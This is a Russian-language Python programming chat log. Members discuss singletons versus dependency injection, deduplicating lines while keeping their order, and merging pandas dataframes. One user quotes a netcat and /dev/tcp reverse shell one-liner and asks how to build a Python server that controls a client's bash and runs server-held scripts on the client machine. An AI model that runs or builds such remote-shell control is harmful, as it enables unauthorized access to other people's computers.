Andrey
думаю он создает класс внутри init.py
Andrey
там андерскоры
Aragaer
не класс, а инстанс
Aragaer
паттерн называется service locator кжись
Tishka17
Если конечно не синглтон, но мы же не хотим синглтон
Tishka17
Что это?
Artyem
>Единение естественного и искусственного интеллекта образует сверхестественный интеллект кек
Alex
Что это?
я б забанил для профилактики
Alex
нефиг сомннительные файлы в чат постить
Tishka17
Не увидел про это ничего
Tishka17
Будет про питон - приноси. Только не файлом
Denis
Ты чуть-чуть опоздал, такое уже есть
Denis
Эх, зачем удалили
Denis
а что там?
Реклама нового языка
Dima
У меня вопрос. Есть к примеру реверс шелл соединение между клиентом и сервером. Откройте два терминала: в первом введите nc -l 1234, а во втором - bash -i >/dev/tcp/127.0.0.1/1234 0>&1. Вы сможете контролировать bash клиента через сервер. Как организовать такое же, только чтобы сервер был не неткат, а скрипт на питоне?
Dima
Запросы отправляються на bash-клиент, но они там почему ты не выполняются.
Tishka17
а что там?
Пространные рассуждения
Dima
import socket
ясно, что socket.
Tishka17
ясно, что socket.
Тогда в чем вопрос?
Tishka17
Больше конкретики надо
Alex
В этом
телепаты в отпуске
Dima
Сейчас скину код
Vitalii
Парни, подскажите плз новичку: есть скрипт- принимаем файл, читаем, делаем срез, и мне нужно без проверки убрать дубликаты, я пробовал set, но он не подходит т.к. теряется порядок строк, в каком направлении смотреть? Скрипт: import sys lines_seen = list() for line in sys.stdin.readlines(): my_element = line[-25:] if my_element not in lines_seen: lines_seen.append(my_element) print(my_element.rstrip())
Ivan
проверяешь есть ли строка в set, если нет - добавляешь.
+, это чтобы быстро. А если медленно, то просто проверить на вхождение в лист
Artyem
3.7
In[18]: l = [1, 4, 1, 2] In[19]: list(dict.fromkeys(l)) Out[19]: [1, 4, 2]
Alex
я тебе уже сказал, не list(set(lines)), а цикл + проверка в set()
Alex
на pastebin \ gist \ dpsaste или GTFO
Dima
totally untested
Its me
How to import a cpp file connecting database in python?
Dima
Если будут опечатки, ты поймёшь.
Дмитрий
Создаешь класс внутри инита другого класса?
внутри init.py да. именно что мне нужен синглтон
Дмитрий
Дмитрий
например
Дмитрий
и вот внутри init.py. и собсно мне хочется знать, на сколько такое решение ок
Alex
+ для 3.7
тоже кстати вариант
Tishka17
внутри init.py да. именно что мне нужен синглтон
Лично я предпочитаю чтобы init.py был максимально пустым и просто импортировал из других файлов все. Так меньше шансов нарваться на циклический импорт. Но я думал ты про инит класса
Tishka17
Если будут опечатки, ты поймёшь.
Попробуй ещё раз, на пастбин
Kop
Что можете порекомендовать чтоб поднять скилл в алгоритмах?
Alex
Опечаток нет
ты не понял? на pastebin код
Dima
кидаю
Tishka17
Ёлка ?
adventofcode.com
Dima
https://pastebin.com/YkeQJzWR
Дмитрий
Лично я предпочитаю чтобы init.py был максимально пустым и просто импортировал из других файлов все. Так меньше шансов нарваться на циклический импорт. Но я думал ты про инит класса
я именно так и импортирую. То есть этот класс создаётся и потом я всюду использую его методы. Но импорчу именно как from Autorization import user_token. Внутри init пишу уже, что user_token = UserToken() и импорчу класс из файла user_token.py. У меня таких несколько есть, то есть там циклических зависимостей нет
Alex
https://pastebin.com/YkeQJzWR
\n кто посылать будет?
Dima
\n кто посылать будет?
Думаешь добавлять в конце запроса \n?
Tishka17
Думаешь добавлять в конце запроса \n?
А что, баш по другому работает?
Dima
сам то как думаешь?
Я пробовал - не работало.
Dima
ну ок. попробую ещё раз.
Дмитрий
Ээ. Синглтон?
ну, практически! один инстанс
Tishka17
я именно так и импортирую. То есть этот класс создаётся и потом я всюду использую его методы. Но импорчу именно как from Autorization import user_token. Внутри init пишу уже, что user_token = UserToken() и импорчу класс из файла user_token.py. У меня таких несколько есть, то есть там циклических зависимостей нет
Короче, синглтон - это антипаттерн. Грубо - сейчас у тебя данные общие для всех, а завтра захочешь ВНЕЗАПНО, для одного из объектов их иметь свои. И уже не выпилишь. Более правильно - придерживаться DI. Но конечно, в определенных ситуация синглтон подойдёт, но если он не торчит за пределы модуля
Dima
плохо пробовал
ахахах. спасибо👌
Dima
Теперь ещё один вопрос. Как я могу запустить bash-скрипт, который лежит на сервере, на машине клиента?
Tishka17
депенденси инджектор? ок, погуглю варианты
Не инжектор, просто принци инъекции. Если грубо - отдельно где-то создал экземпляр общих данных и во все классы при создании экземпляра его передаешь.
Дивопсина сутулая породистая
Комрады, спасайте , не могу додуматься, есть пустой датафрейм пандасовский, хочу в него мержить в цикле другие датафреймы , как правильно реализовать?
Tishka17
Теперь ещё один вопрос. Как я могу запустить bash-скрипт, который лежит на сервере, на машине клиента?
Вообще, ты что творишь? Тебе поиграться или серьезное что-то хочешь?
Dima
Больше из рода серьезного, но веселья тут предостаточно)